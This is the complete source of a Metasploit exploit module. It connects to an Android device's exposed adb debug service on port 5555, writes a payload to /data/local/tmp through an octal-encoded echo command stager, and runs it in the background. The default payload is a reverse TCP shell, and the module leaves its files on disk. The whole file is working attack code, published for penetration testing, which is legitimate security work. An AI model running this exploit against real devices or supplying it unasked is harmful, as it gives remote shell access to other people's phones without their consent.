Android ADB Debug Server Remote Payload Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Android ADB Debug Server Remote Payload Execution',
        'Description' => %q{
          Writes and spawns a native payload on an Android device that is listening
          for adb debug messages.
        },
        'Author' => ['joev'],
        'License' => MSF_LICENSE,
        'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/shell_reverse_tcp' },
        'Platform' => 'linux',
        'Targets' => [
          ['armle', { 'Arch' => ARCH_ARMLE }],
          ['x86', { 'Arch' => ARCH_X86 }],
          ['x64', { 'Arch' => ARCH_X64 }],
          ['mipsle', { 'Arch' => ARCH_MIPSLE }]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2016-01-01',
        'Notes' => {
          'SideEffects' => [ ARTIFACTS_ON_DISK ],
          'Reliability' => [ REPEATABLE_SESSION ],
          'Stability' => [ CRASH_SAFE ]
        }
      )
    )

    register_options([
      Opt::RPORT(5555),
      OptString.new('WritableDir', [true, 'Writable directory', '/data/local/tmp/'])
    ])
  end

  def check
    setup_adb_connection do
      device_info = @adb_client.connect.data
      print_good("Detected device:\n#{device_info}")
      return CheckCode::Vulnerable('ADB service detected and accessible')
    end

    CheckCode::Unknown('Could not connect to ADB service')
  end

  def execute_command(cmd, _opts)
    response = @adb_client.exec_cmd(cmd)
    print_good("Command executed, response:\n #{response}")
  end

  def exploit
    setup_adb_connection do
      device_data = @adb_client.connect
      print_good("Connected to device:\n#{device_data.data}")
      execute_cmdstager({
        flavor: :echo,
        enc_format: :octal,
        prefix: '\\\\0',
        temp: datastore['WritableDir'],
        linemax: Rex::Proto::ADB::Message::Connect::DEFAULT_MAXDATA - 8,
        background: true,
        nodelete: true
      })
    end
  end

  def setup_adb_connection(&blk)
    print_status('Connecting to device...')
    connect
    @adb_client = Rex::Proto::ADB::Client.new(sock)
    blk.call
  ensure
    disconnect
  end
end